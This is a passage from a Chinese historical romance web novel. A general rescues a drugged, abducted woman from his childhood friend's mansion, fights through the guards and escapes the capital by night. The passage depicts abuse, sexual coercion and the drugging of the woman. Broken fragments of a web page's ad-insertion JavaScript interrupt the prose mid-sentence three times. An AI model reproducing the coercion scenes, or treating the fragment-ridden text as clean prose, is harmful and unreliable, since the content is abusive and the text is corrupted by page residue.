时枫耸了耸肩膀,撇嘴道:“他若喜欢,那就送给他好了,我没所谓,又不是多好听,一个诨号而已。” 邵云礼啐了一口,“那也不能由着他胡来,这京城布防司的天下,岂能落入鼠辈之手,忒丢我大理寺的颜面。竟敢在皇城根儿搞出爆炸血案,公然挑衅三品大员,怕不是个疯子,要么就是背后势力大过天。” “你说到点子上了。他就是一疯狗,发起疯来乱咬人,没有什么逻辑动机。” “他的那些兵,多为乌合之众,可能是鬼市临时招募,并非训练有素的正规军。” 邵云礼摇头,“疯狗咬人,也得先掂量掂量自己几斤几两,弄不好遭反噬。挑上你的门,必然另有所图。” “我自来京城不到半年,有何可图?” 睇着墙上悬挂紫菁宝剑,邵云礼沉眉道:“恐怕,对方盯上的,正是你来京的目的。” 时枫凤眸一凛,他自请调来京城,是为调查哥哥时樾的死因。难道说,萧染跟这事有关系? “温如初那边怎么说?” 邵云礼摇头道:“温侍郎对画舫一案讳莫如深,缄口不言。”瞟了一眼时枫,“许是现场受了什么刺激。” 受的刺激还不小,夺妻之恨够他喝几壶。自己这背叛兄弟的罪名,到底是坐实了。 十日以来,苏府的“鳐鱼”未曾传递任何纸条,没有消息,就是好消息。看来温如初,并不打算追究他和疯婆娘之间的过往。 倒显得他,是个背信弃义,不忠不义的小人。 邵云礼像是想起什么似的,一拍巴掌道:“你憋在府里不出门,朝堂上的事情也不得而知。圣上下了懿旨,钦定户部侍郎温如初为南巡钦差大臣,南下浙江福建沿海监督海盐漕运,以抗击倭寇,不日即将出发。” “什么?!” 男人猛然惊醒,从藤椅上跳起身,凤眸炯炯,嗔道:“怎么不早告诉我?” 福建都指挥使沈恪北上带来的消息,福建沿海的海寇蠢蠢欲动,似有谋逆迹象。他正草拟《抗倭战略》,以配合沈恪禀告皇帝裁定。 眼前他的战略还未拟定,奏折墨迹未干,圣上怎么就下懿旨了?竟还钦定温如初去监察? 邵云礼闻言一愣,“我以为是你的意思啊,都指挥使沈恪不是客居在你府上吗?他都没跟你商量就去禀告圣上?你这世侄怎么当的。” 时枫咬了咬后槽牙。 画舫一案牵动不小,不仅损失全船人的性命,连带沈枝意也遭受重击,于公于私,他这京卫指挥使都是严重失职,该受兵部停职查办。 沈恪念在与他父亲时谦乃生死之交的份上,并未十分苛责他的过错,还写信给兵部尚书求情,力保他的官途前程。 然而在抗倭这档子问题上,沈恪怎么又反悔了? 问题太多,一时没有头绪,时枫只得抖擞精神,剪着手臂,匆匆踏进后花园,彼时他父女二人正在观赏风景。 “枫哥哥,你来得正好,快来看这是什么。” 沈枝意右臂缠绕绷带,层层叠叠包裹厚重,她双目紧盯绷带上栖息的一只怪虫。 那虫浑身绿色,前半截肉虫模样,后半截似绿叶,叶脉清晰,边缘还有咬痕,爬行时摇晃身体,宛如风吹树叶。 时枫眯眼观察一阵,断定道:“此虫名为叶?,看似树叶,实则是它躯体一部分。唐代房千里著作《投荒杂录》中,曾对此虫有过记载,主要用作春、咳,春药制造。” 他滔滔不绝介绍,话到末尾,方觉不妥。故意咳嗽一声,试图遮掩尴尬。 沈枝意好奇心不减,横摆右臂,引沈恪观望,“爹爹你看,这虫儿竟如此神奇,本是虫心,却长出叶态,十分新奇有趣。” 沈恪捋了捋花白胡须,意味深长道:“此物最擅长伪装,狡诈奸滑,莫要被它的外表所欺骗。指不定在你不注意的时候,咬上一口,叫你毒发身亡。” “爹爹就会吓唬人。它不过是条小虫,外表比别虫长得奇特些,也只是想保命罢了。蝼蚁尚且偷生,叶?又何罪之有?” 沈枝意努努嘴,手指轻轻勾弄虫儿的叶尾,那虫儿受了刺激,摇头摆尾,好似鲜活的绿叶精灵,越发诡异奇绝。 沈恪摇头,“你才多大年纪,哪里见识过人心险恶。你道它是一条小虫,外表温良,不存害人之心。可你有没有想过,你若不被它咬住,又怎知它害不害人?” “噫,这么坏的东西,那我不要它。”沈枝意嫌恶地甩掉叶虫,那虫摆摆叶状尾巴,落入草丛不见。 时枫剪着手臂,听他父女二人为叶虫辩春秋,颇有一番雅致,他兴趣盎然地聆听半晌,末了抚摸沈枝意的额首,“今天感觉如何?手臂痛不痛?” 沈枝意摇摇头,“不痛,但有些痒。爹爹说,发痒就是快好了。多亏枫哥哥拿来的绿色膏药,不到半日伤口就有所好转,说不定已经悄悄愈合了呢。” 他也曾给过苏绾那膏药,治疗她的脚踝扭伤,不知道她的痛伤好没好,还疼不疼。 像是读懂时枫的心思,沈枝意突兀问道:“自画舫一别,已十日有余,绾姐姐可还好?”低首垂眸,伤感道:“绾姐姐跟我说,她一直盼望早点与温侍郎成亲。经历这次劫难,也不知婚期是否受影响。结不成婚,绾姐姐要伤心难过的。” 沈恪幽幽插话道:“圣上降旨赐婚,天王老子也拆不散,你瞎跟着操什么心。她成不成亲,与你没有半点关系,还是先管好自己的事情罢。” 沈枝意瘪嘴道:“人家担心绾姐姐嘛,她与温侍郎情投意合,天造地设一对,合该喜结连理。爹爹的话,真是没道理,哼。”旋即气鼓鼓捉裙趸步离去,蝴蝶蹁跹飞入花丛。 剩下时枫站在宽阔的院落,琢磨沈恪话语的意思。话中有话,指桑骂槐,分明在敲打他,听得时枫心里发毛。可不等他揣测完,沈恪倒是直截了当挑明话头。 “榆白贤侄,我知你来是何意,你是想问我,为何抛弃与你的约定,先行将海寇一事禀告圣上。” “老夫这么做,原因很简单,就是为了让你彻底远离苏君识家的那位庶女。” “你别以为老夫是个老糊涂,我把乖女儿交给你手里,你不好好珍惜她,还在外面胡搞瞎搞。” “要不是温侍郎写信告知,老夫竟还蒙在鼓里。温侍郎也是瞎了眼,遇人不淑,兄弟与发妻纠缠不清。你可知他的父亲温祭酒,是我同你爹的恩师,教会两代人读书做人的道理。而你竟敢觊觎温祭酒的儿媳,简直是大逆不道,倒反天罡!” “从今往后,不许你同苏府的女儿家再有来往。你也别怪我老头子多管闲事,你爹既许下老夫这门亲家,便是允了你这半子与我为后。违抗父命,不忠不孝,你可担待得起?” 老头气得眉毛胡须一把抓,就差“咔嚓”亮出宝剑,将时枫这个“不孝子”就地正法。 潮水般谴责伴随着唾沫星子,倾盆大雨之势砸向时枫,但他没有听进去一个字。 他的思绪停泊在“写信告知”四字头处,温如初从头到尾都没有打算原谅他,相反,对方一直在暗处冷静布置玲珑棋局,欲将他这枚背信弃义的黑子,一举拿下。可笑他这位沙场走马的武将军,竟还在侥幸自己躲过一劫。 忽然脑子里灵光一闪。 既然温如初不原谅他,那么大概也不会放过苏绾。可是,为何她不向他求援呢? 小暑夏弦,热浪前潮。 自从苏绾被温如初掳走以后,十日不曾归家。这十天里,无霜跟丢了魂一样。 她遣文竹去温府打听苏绾近况,得到的永远是一句话:“苏姑娘一切安好,暂无归家意图。” 小姐怎可能不想回家嘛。 无霜想起苏绾临行前的嘱咐:“我若有何不测,你可打发文竹去东城时府找时将军救火。他若不肯来,你就说我被恶鬼缚身,生命危在旦夕,他听了自然就会来的。” 然而文竹天天跨越半座京城赶去时府,次次 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都被门口侍卫拦挡,声称:“无令无帖不得入内。” 无霜急得直跺脚,但她也别无他法。 扫院婢女春蝉建议,让无霜去找时将军身边的侍卫,“我听说大将军身旁的侍卫,都很通情达理,未必不可求。” 无霜想了想,她与时将军的侍卫晴雷,倒是有一面之缘,也许此法行得通。 既如此决议,无霜出门叫了辆马车,匆忙地踏上车板,拉紧车帘。马车颠簸,手腕玉镯碰撞声不断,撞击紧绷的心弦。 她来到东城时府,只见一排卫兵身穿铠甲手持长矛,森然守立门前。她深吸一口气,试图压抑心中不安,鼓足勇气上前询问。 卫兵问道:“可有拜帖或召令?” 无霜摇摇头,“没有。” 卫兵正色道:“无帖无令不得入内。” 果然如文竹所述,一字不差。无霜脸色骤变,小心退回到门前槐树下,悄悄隔岸张望。 槐树枝叶扶苏,随风轻轻摇曳,发出微微的沙沙声。她仰首从枝叶罅隙间看向阳光,斑驳而无奈。一只小鸟飞过,落在槐树枝端,啾啾地叫着,仿佛催促她快想办法。 眼前黑影闪现,直剌剌从头顶压下来,遮挡碧蓝天空。 “你找谁?” 无霜抬首一看,少年眼睛圆润明亮,仿佛含着光。对着她冁然一笑,露出整齐洁白牙齿。 他抱着臂膀,身穿缇骑曳撒,腰挎雁翎短刀。立如芝兰玉树,笑若朗月清风,少年意气,覆水难收。 无霜脸颊蓦然一红,低首垂眸,“我家小姐找时将军,有、有事情。” “有何事?”晴雷笑眼睇着她。 今日运气不错,竟然撞见栀子花姑娘。距离上次端午佳节初遇,已有月余,着实有点长久。 无霜想起苏绾交待话语,更加羞愧难当,结结巴巴:“有、有……” 她支吾半日也未说出来,倒让晴雷愣了一下。 “别急,慢慢来。”少年明亮的眼眸闪了闪,“先告诉我,你的名字。” 嗯?都什么时候了,还有心情问她名字。无霜白了少年一眼,没有搭理他。 “我家小姐被、被恶鬼缠身,生、生命危在旦夕……” 晴雷眼眸一沉,“什么时候的事,你仔细说一说。” 无霜将事情原委阐述一遍,听得晴雷眉头紧锁。倘若苏姑娘出了事情,“鳐鱼”怎会不告知他? 除非有人拦截了眼线的消息。 他将此事禀告给时枫,彼时时枫刚被沈恪骂得狗血淋头,就差跪下来痛哭流涕求老头原谅。结合前前后后的信息线索,不难得出结论:沈恪暗中出手,隔绝了苏府一切通讯求援手段。 管不了那么多,眼下大计,必须立刻救出苏绾。倘若沈恪出面阻拦,逼迫他断了念想,那他只有誓死抵抗“父命”。 反正他已“不忠、不义”,不介意再加上两条“不仁、不孝”。 苏绾是他的宝贝,他须拿命来守护。 时枫凤眸一沉,吩咐晴雷:“你去将镇南王的御猫绑了,丢进温家宅院。” 晴雷一惊,“爷想早早结束属下性命?人家镇南王是皇上的宗亲哥哥,货真价实的亲王爷。他家的御猫比世子地位都高,整日跟王爷同起同坐。属下长几颗头都不够绑那畜生。” 时枫怒道:“不过叫你抓只猫,怎么就要你小命?你的命就那么不值钱,连畜生都比不过。” 晴雷悻悻道:“敢情不是叫您去做这掉脑袋差事。属下为守护主子而亡,心甘情愿。为个畜生丢掉性命,那才窝囊死了。” 时枫不耐烦摆手,“去去去,你敢抗令,我砍你的脑袋。你就心甘情愿,死得其所了。” 夜幕降临,星河耿耿。时府一片寂静,灯暗虫唧唧。 沈枝意哭道:“爹爹,我们做什么都没用,枫哥哥的心,早被那狐媚子夺走。我跟爹爹讲过,画舫那日,卿卿亲眼所见,毒妇如何勾引枫哥哥,卿卿根本不是她的对手。” 沈恪暗暗咬牙,“没想到搬出温侍郎的颜面,竟也不能唬住他小子。今日这场‘父慈子孝,苦口婆心’戏码,瞎子点灯白费蜡。你我须从长计议,留住榆白的人和心,搅黄那女人的毒计。” 沈枝意点点头,“女儿的意思,爹爹全然明了。卿卿今生,非枫哥哥不嫁不可。谁要是敢来挡我的道,我就要谁,肠穿肚烂,化为飞灰。” 少女明眸骤然黯淡,如星子坠落,万物沉沦。 47. 夜袭 点星缀空影,银河入檐白,温府宅邸内。 如玉公子一改往日温润形象,化身凶煞恶鬼,势要将那不肯听话的叛逆女神从神台上拉扯下来。 双眼透着血红,白色衣襟半场半开,扯着破碎佳人的衣领,满脸兴奋之色,“你可知我,为何一直与你刻意保持距离,从未有过非分之举?” 拢起湿汗淋淋的发髻,向后顺发稍梳理,“因为我不喜欢纯情小白兔,尤其是你这种破瓜年华,一身白璧无瑕。”他侧首啐了一口,“令人作呕。” 修长手指抚上桃腮,揩去唇际污秽残余,“我须养着你,让你受千人踏万人践,从荆棘中开出美艳绝伦的花朵。到那时,你将成为永世不朽的伟大作品。” 手指放进自己嘴里舔舐,“啧,多么美妙的味道。” 公子意气骄奢,神情不可一世,如君王纵横捭阖。佳人惴惴其栗,待宰羔羊,等待接受神祇的末日审判。 “报——” 电光火石之间,却听门外急促脚步声,紧接着传来急报:“主子爷,大事不妙。隔壁镇南王府派人找上门来,说咱们家拐了王爷的御猫,吵嚷着要搜查宅院。” “御猫?”温如初眉头一蹙。 镇南王年逾六旬,赋闲在家,也无他事可做,平日极其宠爱养猫。坏就坏在,当今圣上也是猫奴,专门修建“猫儿房”,还从其中挑选精英者,赏赐给同样嗜猫成痴的镇南王,美其名曰:御猫。 御猫身份尊贵,等同世子地位。今朝御猫走失,对方非赖上他不可。 可恶,偏偏在这个节骨眼。 温如初怒道:“找人看好她。” 言讫,挺身趸出门外,小厮迎面递上干净外袍,他一路穿戴整齐,又用汗巾抹了把脸,见到镇南王府总管时,依旧澹然朱紫模样。 夜幕笼罩暗室,十数名身强力壮的家丁守卫门前。他们身着锦衣,气度凝重,如同山峰般威武雄壮,与寻常人家的仆役小厮完全不同,更像是训练有素的打手。 突然,狂风卷起,黑暗中一位身形飘忽的黑衣蒙面人闪现,如鬼魅般猛然砍击家丁后颈。“唰!”一道冷光闪耀,似闪电划破长空,家丁应声倒地,瞬间失去意识。其他家丁迅速反应过来,纷纷挥舞双拳,猛然冲向蒙面人。 他凤眸一凝,双手虎虎生风,犹如猛虎出笼,霸气十足。拳拳到肉,轰轰作响,狂风骤起,土石飞扬,场面变得极其混乱。 家丁们拳脚攻击连绵不断,蒙面人游走在他们之间,身形飘逸,攻守自如。他的身手敏捷,威力惊人,让人不敢小觑。他的目光深邃,神态冷酷,仿佛从未有过战斗。 蒙面人身形忽然一闪,从家丁的攻击之中迅速穿过,击中对手下颌,发出清脆的骨裂声。 家丁们接连倒地,蒙面人冷笑一声,神态狂傲,毫不留情地踩着家丁身体,径直走向屋内。 天色已经暗淡,四周静谧无声。蒙面人放眼逡巡四周,发现前方跪伏人影。 他甫一接近,那人影猛地转过头来,竟是温府主母温夫人,她神情恍惚不定,不当不正地跪在地上,不知是何原因。 “咦……”蒙面人眼底闪过微微诧色,心中不禁一动,伸出手去,欲扶起温夫人。 哪知温夫人回手一抓,猝不及防揪住蒙面人臂膀,大声呼喊:“念儿,念儿,有贼,快来!” 蒙面人怒不可遏,卷起袖子准备出手。就在此时,外面传来骚动和脚步声。他扭头一看,发现更多人影正往暗室方向赶来。 眼看情势不妙,蒙面人咬了咬牙,毫不留情手刀劈向温夫人颈项,将她击晕在地。 蒙面人踅身逡巡屋内,床铺传来女子呻吟声。他疾步上前,拉开床帘,赫然望见苏绾躺卧铺上,浑身□□。 苏绾听见动静,磨蹭身子,星眸虚眯,檀口微张,伸出玉臂去够他。 “他娘的。” 蒙面人眼中闪过一抹冷芒,心中燃起熊熊怒火,他恶狠狠地以衾被卷了苏绾,夹在腋下,窜出门外。 他紧紧抱住苏绾,向着十数位护院家丁冲去。左手用力向后一挥,将一名家丁打倒在地,右手紧握衾被,护住苏绾,不让她受到丝毫伤害。 这批家丁们手持锋利武器,如同狼群围攻蒙面人。眼见刀剑袭来,他迅速后退,迎面避过一刀,侧身躲开一剑,旋身一转,身后狼牙棒兀然捅出。 蒙面人心中惊呼好险,还未站稳脚跟,冷不防又一刀自左后方伸出,不当不正砍在左臂,黑色衣袖立即浸染鲜红血色,然借助夜色掩映,看得不很清楚。 疼痛让蒙面人身体一震,但他没有停步,咬牙硬挺,继续突围。衣袍被刀剑削裂,鲜血洒落空中,但他毫不畏惧,紧紧用身体保护着苏绾。 前方出现一堵高墙,他已经被逼至墙根,无路可退。家丁们紧追不舍,向他发动猛烈地攻击,刀剑如同暴风骤雨向他袭来。 身前刀山火海,身后穷途末路。想他翛然纵横一世,有朝一日竟被逼至绝望境地。蒙面人凤眸一沉,咬了咬后槽牙。 他右手护住苏绾,左手自怀中掏出一枚袖珍“震天雷”,嘴角扯掉拉环,向空中一掷,发出爆裂响声,强大的气流波动席卷天下,顷刻间火光冲天,家丁躲闪不及,应声倒地。 蒙面人搂紧苏绾,反手抓住墙壁藤蔓,踩着坑隙沿墙攀爬,三步两步爬上墙垣。轻轻一纵,越墙而过,留下家丁面面相觑。 对方手臂伤重,还能凭借超强臂力,一手抱着苏绾,一手承载自身重量,可见武艺超群。 剩余家丁一看事不妙,立刻分成几路:一路追击蒙面人,一路向家主通风报信,另一路摇铃吹哨,呐喊通报全府。 哨声大作,霎时间,整座宅院灯笼高挂,亮如白昼。护院家丁牵着黑狗,不住嗅闻路旁角落痕迹。 温宅也算气派,七进七出院落,楼阁错落复杂。蒙面人凭借儿时记忆,轻车熟路,专捡狭路避让人群追捕,跌跌撞撞,好几次撞上臂膀伤处,血迹蹭一墙,又连续翻越数道院墙,最终来到温宅后院墙外。 一辆马车守候在树荫底下。 见蒙面人现身,晴雷上前接应,“爷此行顺利否?” 时枫摘下面罩,努力平缓气息,牙缝挤出几个字,“你看我像是平安无事么?接着,小心别磕着。” 晴雷极少见到时枫这副落魄模样,恍惚接过被卷,谨慎送进车厢内,一边安置苏绾,一边问道:“爷的功夫退步了,小小一座宅邸,怎就落得这般狼狈?” 时枫骂道:“狼狈你大爷,他的宅子设置上百训练有素的打手,堪比一座镖局,强龙不压地头蛇。” 晴雷回到马前,套好马缰,建议道:“爷,方才那一下‘震天雷’,必会惊扰巡逻兵马司,咱们须即刻出城,回城郊驻兵总营。” “走西门,今夜值守的城门郎乃家父旧部,断不会为难你我。” 时枫转眼登上马车,二人借着夜色掩映,疾驰离开。 这边温如初正安抚镇南王府朱总管,对方盛气凌人,完全不把温如初放在眼里,耷拉着眼皮,阴阳怪气道:“明人不做暗事。堂堂三品大员,偏要跟御猫作对。温侍郎此举,忒失君子风度。” 温如初两腿分开,端坐太师椅内,面上含笑,“朱总管此言差矣,温某素来与王爷无仇无怨,又何必跟王府的猫儿过不去?想是那御猫嗅闻到陋舍伙房的晚膳,顺着香气寻过来的。” 檀香紫檀木桌案上摆着香蒲,蒲上睡着一只狸猫,浑身雪白蓬松长毛,好似滚圆雪团,是以命名为 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“飘雪”。猫儿乍醒,眸色一蓝一棕,煞是奇特,抬爪洗漱搓面,打了个呵欠。 温如初睨了一眼飘雪,“而今御猫安然无恙,王爷心宽体长舒。非要揪着不放,给温某平摊莫须有罪名,那我倒要较真了,圣上面前好好掰扯掰扯,鄙舍与镇南王府的恩怨瓜葛。” 镇南王与温家毗邻,两府素有积怨,无非侵占邻土,互相滋扰嫌隙一类。 温老爷子年岁已高,不大管理这些琐碎,温如初头几年又客居佛堂,偌大一间宅邸仅由温夫人一人操持。 温夫人外表看似强势,实际是个花架子,内里柔弱气短。满腔怨恨只管在温念身上发泄,对于王府豪横,却也无可奈何。 等温如初青紫被体归来时,温府土地已被王府占去三成,加盖花园、堂舍等建筑。 温如初自是咽不下这口气,隐忍枳棘刺,筹谋划策,只待积怨爆发,抓住镇南王短处,参他“侵扰邻里”罪名。不曾想本子还没递上去,倒先被人拿住错处,上门兴师问罪。 朱总管一听,对方来者不善,口气充满敌意,恐自己落了下风,折了王爷的颜面,“世人皆知,温侍郎能言善辩,巧舌如簧,某自然说不过你。其中利害,王爷定会明辨是非,他日还君一鸱。” 言毕,朱总管抱起飘雪,愤愤离去。 朱总管的意思,即是镇南王的意思,要叫他“吃不了兜着走”。也罢,这笔账早晚清算,兵来将挡,水来土掩。 忽然小厮来报:“主子爷,后院厢房出事了。” 温如初立刻传令,“增多人手,势必抓他现形。” 未几,听得震天响声,后院火光冲天,真所谓:福无双至,祸不单行。待他到达后院,蒙面人踪影全无。 这分明是一招“调虎离山之计”,歹匪先是绑了镇南王府的御猫,嫁祸给他,趁他同朱总管斡旋之际,偷偷潜入府内,在他眼皮子底下掳走苏绾。 温如初一拳砸在南墙,恨得咬牙切齿。 时枫,你竟然背叛我到这地步。 画舫一日游,温如初已看破事实真相,再无试探那对奸夫霪妇的必要。他之所以掳了苏绾来府里,一是为暴力击溃苏绾的心防,让她彻底沦为他的奴隶,如同他调教温夫人那样;二是为引诱时枫出手搭救苏绾,他再将时枫霸占弟媳的罪名告上御状,捉奸捉双,绝不让时枫有好果子吃。 双管齐下同时,温如初还在朝堂毛遂自荐,打通关系,趁都指挥使沈恪上报海贼滋扰乡里一案,他随即揽了监督漕运钦差职务,准备南下福建浙江。届时浙江布政使殷潜将成为他的首要调查对象。 早在端午之后几天,他就已得到密报,言殷潜正蓄力安排他去杭州监管茶叶征收,在别人的地头替别人做事,少不得受殷潜拿捏。 如今他摇身一变,反客为主,成为调查漕运案的主理人,殷潜成了犯罪嫌疑分子。风水轮流转,温如初这一招反转战役,打得着实漂亮。 圣上懿旨已下,温如初不日即将动身,南下浙江福建两省,当然要携带家眷。 在那之前,他须先使出风雷手段,拿下时枫这块硬石头。 温如初扬手一挥,召来侍从远舟,吩咐他办理几项事务。 “其一,召巡城兵马司吏正,就说我温家遭遇歹徒抢夺,掳走未婚妻,令其提前封锁九道城门,禁止百姓出入,全城搜捕贼人。” “其二,通知顺天府府尹刘大人,言苏家二小姐遭掳劫,恐有内鬼接应,令他派人查封苏家,事情没有结果之前,不得放走一人。” “其三,准备笔墨纸砚,待我书奏折一封,夜间急送司礼监秉笔太监处,言温侍郎弹劾镇南王,明日早朝之前,务必递进御书房。” 夜色降临,京城笼罩茫茫黑雾。 48. 出逃 巨大的西城门楼用坚固的石头砌成,上面镶嵌平整青石,显得庄严而厚重。城门口的守卫士兵,身披银甲,手持钢刀,紧紧站立城门两侧,神情警惕。 一轮皎洁的明月高挂雉堞之上,透过瞭望台和箭楼小窗口,洒下斑驳光影,映照城墙顶端石兽栩栩如生,透出阴森气息。 马车疾驰而过,守城士兵立即阻拦。车夫猛然拉起缰绳,马儿扬蹄嘶鸣,石子甬路尘土飞扬,气势十分惊人。 守卫大声喊道:“城门关闭,不得出行。” 车夫高声喝道:“我家主人执令出城,谁人胆敢阻拦!” 守卫坚持不肯放行,车夫无奈跳下车,恭敬地站在车窗口,仔细禀报情况。 “未到戌时五刻,何故关闭城门?”车内响起低沉的声音。 “城门郎接到上级命令,全城九座城门提早关闭,任何车马不得出入。”车夫答道。 “哦?”车内声音略微停顿,“叫城门郎来见我。” 车夫闻言,取下身上腰牌,交于守卫。 守卫转身步入城楼,不多时,疾跑而出,至马车前复命,“城门郎代话,‘末官偶感风寒,身体不适,不便出行拜见,还请将军见谅’。” 夜色沉寂如水,银白月辉倾洒,泼落暗黑车辕,好似挂着一川月瀑。 忽然,那川月瀑抖了一抖,化作碎银满地。自车内传来砰砰两声,紧接着跟随细细的叹息,好似猫叫。 守卫警醒:“里面什么人?”说着,向前探了探身,猫腰往车里面瞅。 帐内漆黑,阒无人声。 车夫两步逼近,身体挡在守卫面前,握着腰间雁翎刀,冷声道:“我家主人有要事在身,城门郎既已放行,尔等不得延误。” 乌金刀鞘分开,露出半刃冷锋,亮闪闪晃眼。 守卫抽了抽鼻子,沉寂一瞬,伸手挥了挥令旗。 城门楼上,守卫高声下令:“开门!” 巨大城门隆隆地开启,车马缓缓行进。阵风吹过,城楼风铃发出清脆的响声,与车辕咕噜咕噜滚动声响,混杂一处,颇有乐律之感。 而那辆马车,风尘仆仆,径直行驶出城,消失在浓浓夜色之中。 时枫两膝分开,端坐车内,两手交叉胸前,凤眸深邃,神情肃穆。 城门郎不愿出面见他,多半因为上级命令难违。他肯开门放行,已给足时家面子,日后一旦清查出来,可是掉脑袋的罪名。 五城兵马司指挥使多为皇亲国戚担当,他们尸位素餐,极少管事。真正在底下干活的,只有几位吏正,负责京城巡捕盗贼,疏理街道沟渠及囚犯、火禁之事。 能在短时间内,调动京直隶兵马司与城门郎听令,非某个官阶简单一句话就能达成,必须要有极为广泛的关系人脉。 温如初动了真格。 时枫撕开衣袖,露出触目惊心的伤口,长约两寸,皮开肉绽,鲜血不断渗出。他扯出汗巾,撕成几条,简单包扎伤臂。全程神态平和,剑眉不曾皱一下,好似家常便饭。 所幸刀口不深,未伤及筋脉。只是伤疤落在显眼处,少不了要遮人耳目。 时枫至今仍然不肯相信,与他从小一起长大的温念,会做出丧尽天良恶行,成为苏绾口中的“恶鬼”。 他与温念同龄,但大出两月,便以兄自居。严格来说,他比温念的辈分低一级。他的父亲绥靖王时谦,年轻时曾拜在温父门下,受其指点迷津。 温念生得晚,恰好遇时枫,二人跟着温父读书习字,好得如胶似漆,形影不离。 温念喜静,性子沉稳,话不多,学堂里常常受其他纨绔子弟欺负。时枫好动,拳头硬,远近闻名“小霸王”。多少次,时枫挥舞藤条,赶跑那些坐在温念后背,当他马儿骑的顽劣孩童。 温念小脸皱巴,哭着说:“谢谢枫哥哥救我。” 时枫摆摆手,“你跟我还客气啥。”他拍拍温念后背,“他们再敢欺负你,下次我就扒了他们的裤子,打得屁股开花,他们就不敢了。” 温念笑眼含泪,狠狠点头,“嗯。” 长到十一、二岁,时枫跟随他爹去兵营历练,温念客居寺庙专心科考,从此两人聚少离多,有时两三年也见不到一回。 荏苒星霜换,弹指间过去十年,时枫成为立下赫赫战功的大将军,而温如初也平步青云,一跃而起,官拜三品户部侍郎。两人在各自领域均有建树,璀璨明珠闪耀。 直至最近,时枫接朝廷一纸调令,将他从西北荒漠戍边迁回京城驻守,他才有机会得与温如初叙旧。 尽管他有时候感觉,温如初的心思高深莫测,让人猜不透他在想些什么,但他敢以人格担保,温如初并非大奸大恶之人,骨子里不过是个爱钻牛角尖的少年罢了。 苏绾所说的“恶鬼论”,包括断定哥哥时樾也是被温如初所害,令时枫难以接受和理解。他以为,苏绾受过某种刺激,落下癔症和疯症的病根,对于温如初的忌惮,实际仅仅是臆想。 然而,今夜他所遭遇种种,亲眼目睹温如初犯下的罪行,他又感到十分迷惑不解。 那个爱哭的小小少年,何时戴上丑陋的恶鬼面具? 时枫攥紧拳头,手肘处缠绕的绷带紧紧勒住,青筋暴起。 他睇向苏绾,见她裹在被子里,躺在车厢铺上,身体微微颤抖,面色苍白无力,口中呻吟不断。 她被人喂了合欢散。 时枫对于合欢散的药性极为熟悉,之前还亲自抓包苏绾买卖证据,彼时他还嘲笑她手段龌龊,转眼间她自己就踩中别人的陷阱。 真是个笨蛋呀。 时枫睨了一眼佳人,揶揄道:“他骗你喝酒,你就喝一壶,怎么那样听话?” 转过头,又气不过,“把我的话当作耳旁风,不是叫你拒绝他吗?” “你既中了合欢散,才想起来找我解救,你把我当什么人?‘南风馆’的小倌么?专门给你泄火。” 他低着头,仿佛小孩子,嘴里呶呶说不停,越说越离谱,连“小倌”这种话都说出口。 “本将军才不会理你,你自己想办法解决。”他傲娇道。 乘人之危,非君子所为。时枫自认为君子,绝不肯在此刻触碰苏绾,坏了她的名节。 他正襟端坐,故意不去看她。不一会心内躁动不安,因为苏绾一直呼唤他的名字。 “时枫,时枫……” 他凑过身去,“你在叫谁?” “时枫。” 男人心内一颤,疑心听错了,“时枫是谁?” “我的男人。” 时枫陡然一惊,差点从铺上跳起来,浑身汗毛都竖起来,结结巴巴:“你、你再、再说一次,时枫是谁?” 苏绾星眸荡漾,“时枫是我的男人。” 时枫一颗心狂跳不已,欲从胸腔迸裂。 他活了二十二年,见过苍山负雪,明烛天南,向往半溪明月,一枕清风。从未有女子,闯进过他心境。伶俜半生,始终鲜衣怒马少年。 蓦然回首,佳人却在水一方。倘若是她,穷尽半生的等待,不枉此生。 时枫攥着拳头,小女儿般缀满心事,一团乱麻,又不知从何梳理。 他颤抖着声音:“你喜欢时枫吗?” 他不敢用那个字眼,而只用“喜欢”代替,担心自己承受不住千金重量。 苏绾沉寂,“我不知道。” 不知道就是不喜欢,时枫对这个答案不甚满意。 “那你喜欢谁?” 苏绾迷离的眼神,侵染疑惑,似乎努力地搜寻记忆,隔了许久,也未给出任何答案。 至少,她没说自己喜欢温如初,否则他必然将她丢出车外。 时枫思了一瞬,决定换种方式测试她。 “你害怕温如初吗?” 苏绾闻之一顿,惶恐道:“怕。” “为什么?” 苏绾嗫嚅道:“他是恶鬼,吃人不吐骨头。” 时枫蹙了下眉,“他怎么招惹你了?” 苏绾表情一滞,慢慢地,眉眼缩成团,哭道:“他将我绑在十字桩,立向城头,点上松油,活活烧死啦。” “无缘无故,他为何要烧死你?” 苏绾抽抽搭搭,断断续续道:“他娶了我,又不要我了,送给别人,再要回来。红色旗帜杀过来,他说:都是你这妖女的错。然后就把我烧死了。” 语无伦次,危言耸听,时枫眉头紧蹙,仍不死心,“既然你已经死了,那你还找时枫干什么?” 苏绾星眸一亮,神情激动,“我死了,又活了。重新来过人生。可那恶鬼,依旧不肯放过我。这世界,唯有时枫,能拯救我脱离苦海。” 果不其然。 时枫阖合眼睛,呼出一口气,又抿了抿嘴唇。 苏绾不过是在合欢散药性下,胡说八道而已,并非出自真心。 合欢散取自于东莨菪花汁液,原名为“吐真剂”,虽说能控制人的言行,问之答之,但有一定的风险,错误率太高。服药人有时候胡乱一气回答问题,也大有可能。 刑部早就将合欢散列为审讯禁药,不再信任依靠它的药效。世人皆利用合欢散副作用,当作春药来使用,效果远大于吐真剂。 想必温如初欲从她嘴里,套出躲在她背 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后的男人是谁,才会使用合欢散这种下三滥手段。 于情可释,于理则不通。 假如他的女人背叛他,他会毫不留情一刀割下她的头颅。 相比之下,温如初采用更加温和的逼供手段,因为于心不忍么? 不会,能做出温府那些龌龊手段,对自己的继母下此狠手,谈何慈悲心? 温如初必是对苏绾有所忌惮,或者,留着苏绾另有所图。 温如初和苏绾,到底是什么关系?这才是问题关键所在。只有解开这道谜题,他才能看清楚所有真相。 “你还真信得着我。”时枫揶揄道。 他目视前方,正襟危坐,沉声道:“不跟我说真话,却还指望我拯救你,天底下哪有这么划算的好事?我又不是下凡降世的救世主,你也不是我要解救的芸芸众生。” 